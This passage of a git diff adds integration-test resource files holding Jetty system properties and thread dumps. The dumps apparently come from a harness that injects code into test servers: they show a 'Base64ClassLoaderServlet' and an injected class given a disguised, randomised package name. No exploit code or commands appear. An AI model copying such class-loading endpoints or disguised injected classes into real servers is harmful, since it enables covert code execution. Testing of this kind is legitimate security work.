java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@52f115fc + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1458849419-14" #14 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.26/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:181) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:188) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:542) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:455) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:248) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1cd25650 + java.lang.Thread.State: WAITING + at java.base@11.0.26/java.lang.Object.wait(Native Method) + at java.base@11.0.26/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@11.0.26/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@11.0.26/java.lang.ref.Finalizer$FinalizerThread.run(Unknown Source) + +"qtp1458849419-22" #22 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/java.lang.Thread.dumpThreads(Native Method) + at java.base@11.0.26/java.lang.Thread.getAllStackTraces(Unknown Source) + at org.apache.http.client.OXZTQ.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@11.0.26/java.lang.String.valueOf(Unknown Source) + at app//org.eclipse.jetty.server.ResponseWriter.print(ResponseWriter.java:310) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at app//org.eclipse.jetty.servlet.ServletHolder$NotAsync.service(ServletHolder.java:1419) + at app//org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:764) + at app//org.eclipse.jetty.servlet.ServletHandler$ChainEnd.doFilter(ServletHandler.java:1665) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at app//org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:210) + at app//org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1635) + at app//org.eclipse.jetty.websocket.servlet.WebSocketUpgradeFilter.doFilter(WebSocketUpgradeFilter.java:170) + at app//org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:202) + at app//org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1635) + at app//org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:527) + at app//org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:131) + at app//org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:598) + at app//org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) + at app//org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:223) + at app//org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1580) + at app//org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:221) + at app//org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1384) + at app//org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:176) + at app//org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:484) + at app//org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1553) + at app//org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:174) + at app//org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1306) + at app//org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:129) + at app//org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:149) + at app//org.eclipse.jetty.server.handler.HandlerList.handle(HandlerList.java:51) + at app//org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:122) + at app//org.eclipse.jetty.server.Server.handle(Server.java:563) + at app//org.eclipse.jetty.server.HttpChannel$RequestDispatchable.dispatch(HttpChannel.java:1598) + at app//org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:753) + at app//org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:501) + at app//org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:287) + at app//org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:314) + at app//org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:100) + at app//org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:53) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.runTask(AdaptiveExecutionStrategy.java:421) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.consumeTask(AdaptiveExecutionStrategy.java:390) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:277) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:193) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda$199/0x00000008401d7840.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"DestroyJavaVM" #25 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Scheduler-110771485-1" #23 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@749976bb + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@11.0.26/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"qtp1458849419-13-acceptor-0@3bfcc67f-ServerConnector@6bca7e0d{HTTP/1.1, (http/1.1)}{0.0.0.0:8080}" #13 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at java.base@11.0.26/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at java.base@11.0.26/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at app//org.eclipse.jetty.server.ServerConnector.accept(ServerConnector.java:409) + at app//org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:748) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"Common-Cleaner" #11 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@671890b3 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.26/java.lang.Object.wait(Native Method) + at java.base@11.0.26/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@11.0.26/jdk.internal.ref.CleanerImpl.run(Unknown Source) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + at java.base@11.0.26/jdk.internal.misc.InnocuousThread.run(Unknown Source) + +"qtp1458849419-18" #18 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48e408f1 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:219) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1124) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1141) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@11.0.26/java.lang.ref.Reference.processPendingReferences(Unknown Source) + at java.base@11.0.26/java.lang.ref.Reference$ReferenceHandler.run(Unknown Source) + +"qtp1458849419-16" #16 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.26/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:181) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:188) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:542) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:455) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:248) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"qtp1458849419-19" #19 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.26/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:181) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:188) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:542) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:455) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:248) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"qtp1458849419-17" #17 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.26/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:181) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:188) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:542) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:455) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:248) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +org.apache.http.client.OXZTQ.ErrorHandler +org.eclipse.jetty.io.AbstractConnection$ReadCallback +org.eclipse.jetty.io.FillInterest +org.eclipse.jetty.io.ManagedSelector +org.eclipse.jetty.io.ManagedSelector$$Lambda$199/0x00000008401d7840 +org.eclipse.jetty.io.ManagedSelector$SelectorProducer +org.eclipse.jetty.io.SelectableChannelEndPoint$1 +org.eclipse.jetty.security.SecurityHandler +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.HttpChannel +org.eclipse.jetty.server.HttpChannel$RequestDispatchable +org.eclipse.jetty.server.HttpConnection +org.eclipse.jetty.server.ResponseWriter +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.ServerConnector +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.handler.HandlerList +org.eclipse.jetty.server.handler.HandlerWrapper +org.eclipse.jetty.server.handler.ScopedHandler +org.eclipse.jetty.server.session.SessionHandler +org.eclipse.jetty.servlet.FilterHolder +org.eclipse.jetty.servlet.ServletHandler +org.eclipse.jetty.servlet.ServletHandler$Chain +org.eclipse.jetty.servlet.ServletHandler$ChainEnd +org.eclipse.jetty.servlet.ServletHolder +org.eclipse.jetty.servlet.ServletHolder$NotAsync +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$Runner +org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread +org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy +org.eclipse.jetty.websocket.servlet.WebSocketUpgradeFilter diff --git a/integration-test/src/test/resources/infos/Jetty11ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty11ContainerTestBasicInfo.txt new file mode 100644 index 00000000..c30d175d --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty11ContainerTestBasicInfo.txt @@ -0,0 +1,343 @@ +# Generated At 2025-08-10 14:58:11 +SystemProps: +java.specification.version: 17 +sun.jnu.encoding: UTF-8 +java.class.path: /var/lib/jetty/resources:/usr/local/jetty/lib/logging/slf4j-api-2.0.13.jar:/usr/local/jetty/lib/logging/jetty-slf4j-impl-11.0.25.jar:/usr/local/jetty/lib/jetty-jakarta-servlet-api-5.0.2.jar:/usr/local/jetty/lib/jetty-http-11.0.25.jar:/usr/local/jetty/lib/jetty-server-11.0.25.jar:/usr/local/jetty/lib/jetty-xml-11.0.25.jar:/usr/local/jetty/lib/jetty-util-11.0.25.jar:/usr/local/jetty/lib/jetty-io-11.0.25.jar:/usr/local/jetty/lib/jetty-jndi-11.0.25.jar:/usr/local/jetty/lib/jetty-security-11.0.25.jar:/usr/local/jetty/lib/jetty-servlet-11.0.25.jar:/usr/local/jetty/lib/jetty-webapp-11.0.25.jar:/usr/local/jetty/lib/jetty-plus-11.0.25.jar:/usr/local/jetty/lib/jakarta.transaction-api-2.0.0.jar:/usr/local/jetty/lib/jetty-annotations-11.0.25.jar:/usr/local/jetty/lib/annotations/asm-9.7.1.jar:/usr/local/jetty/lib/annotations/asm-analysis-9.7.1.jar:/usr/local/jetty/lib/annotations/asm-commons-9.7.1.jar:/usr/local/jetty/lib/annotations/asm-tree-9.7.1.jar:/usr/local/jetty/lib/annotations/jakarta.annotation-api-2.1.1.jar:/usr/local/jetty/lib/apache-jsp/org.eclipse.jdt.ecj-3.33.0.jar:/usr/local/jetty/lib/apache-jsp/org.eclipse.jetty.apache-jsp-11.0.25.jar:/usr/local/jetty/lib/apache-jsp/org.mortbay.jasper.apache-el-10.0.27.jar:/usr/local/jetty/lib/apache-jsp/org.mortbay.jasper.apache-jsp-10.0.27.jar:/usr/local/jetty/lib/jetty-client-11.0.25.jar:/usr/local/jetty/lib/jetty-alpn-client-11.0.25.jar:/usr/local/jetty/lib/jetty-deploy-11.0.25.jar:/usr/local/jetty/lib/glassfish-jstl/jakarta.servlet.jsp.jstl.jakarta.servlet.jsp.jstl-api-2.0.0.jar:/usr/local/jetty/lib/glassfish-jstl/org.glassfish.web.jakarta.servlet.jsp.jstl-2.0.0.jar:/usr/local/jetty/lib/websocket/websocket-core-common-11.0.25.jar:/usr/local/jetty/lib/websocket/websocket-core-client-11.0.25.jar:/usr/local/jetty/lib/websocket/websocket-core-server-11.0.25.jar:/usr/local/jetty/lib/websocket/websocket-servlet-11.0.25.jar:/usr/local/jetty/lib/websocket/jetty-jakarta-websocket-api-2.0.0.jar:/usr/local/jetty/lib/websocket/websocket-jakarta-client-11.0.25.jar:/usr/local/jetty/lib/websocket/websocket-jakarta-common-11.0.25.jar:/usr/local/jetty/lib/websocket/websocket-jakarta-server-11.0.25.jar:/usr/local/jetty/lib/websocket/websocket-jetty-api-11.0.25.jar:/usr/local/jetty/lib/websocket/websocket-jetty-common-11.0.25.jar:/usr/local/jetty/lib/websocket/websocket-jetty-server-11.0.25.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +jetty.base: /var/lib/jetty +user.timezone: Etc/UTC +jetty.home: /usr/local/jetty +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: org.eclipse.jetty.xml.XmlConfiguration java.io.tmpdir=/tmp/jetty java.version=17.0.15 jetty.base=/var/lib/jetty jetty.base.uri=file:///var/lib/jetty jetty.home=/usr/local/jetty jetty.home.uri=file:///usr/local/jetty jetty.webapp.addServerClasses=org.eclipse.jetty.logging.,file:///usr/local/jetty/lib/logging/,org.slf4j. runtime.feature.alpn=true slf4j.version=2.0.13 /usr/local/jetty/etc/jetty-bytebufferpool.xml /usr/local/jetty/etc/jetty-threadpool.xml /usr/local/jetty/etc/jetty.xml /usr/local/jetty/etc/jetty-webapp.xml /usr/local/jetty/etc/jetty-deploy.xml /usr/local/jetty/etc/jetty-http.xml +jdk.debug: release +sun.cpu.endian: little +user.home: /var/lib/jetty +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-04-15 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.15+6 +user.name: jetty +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.15+6 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +jetty.git.hash: a2e9fae3ad8320f2a713d4fa29bba356a99d1295 +java.io.tmpdir: /tmp +java.version: 17.0.15 +user.dir: /var/lib/jetty +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.15+6 +java.specification.maintenance.version: 1 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 61.0 + +=========================================== + +ThreadStacks: +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1068934215-20" #20 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:181) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:188) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:542) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:455) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:248) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + +"qtp1068934215-15-acceptor-0@b3682b0-ServerConnector@ca30bc1{HTTP/1.1, (http/1.1)}{0.0.0.0:8080}" #15 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.15/sun.nio.ch.ServerSocketChannelImpl.implAccept(Unknown Source) + at java.base@17.0.15/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at app//org.eclipse.jetty.server.ServerConnector.accept(ServerConnector.java:409) + at app//org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:748) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + +"Scheduler-1740189450-1" #25 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f3e81a7 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.15/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@17.0.15/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@17.0.15/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@17.0.15/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + +"Notification Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1068934215-23" #23 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.15/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@17.0.15/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:181) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:188) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:542) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:455) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:248) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.15/java.lang.ref.Reference.processPendingReferences(Unknown Source) + at java.base@17.0.15/java.lang.ref.Reference$ReferenceHandler.run(Unknown Source) + +"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@735bb255 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.15/java.lang.Object.wait(Native Method) + at java.base@17.0.15/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@17.0.15/jdk.internal.ref.CleanerImpl.run(Unknown Source) + at java.base@17.0.15/java.lang.Thread.run(Unknown Source) + at java.base@17.0.15/jdk.internal.misc.InnocuousThread.run(Unknown Source) + +"qtp1068934215-22" #22 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.15/sun.nio.ch.EPoll.wait(Native Method) + at 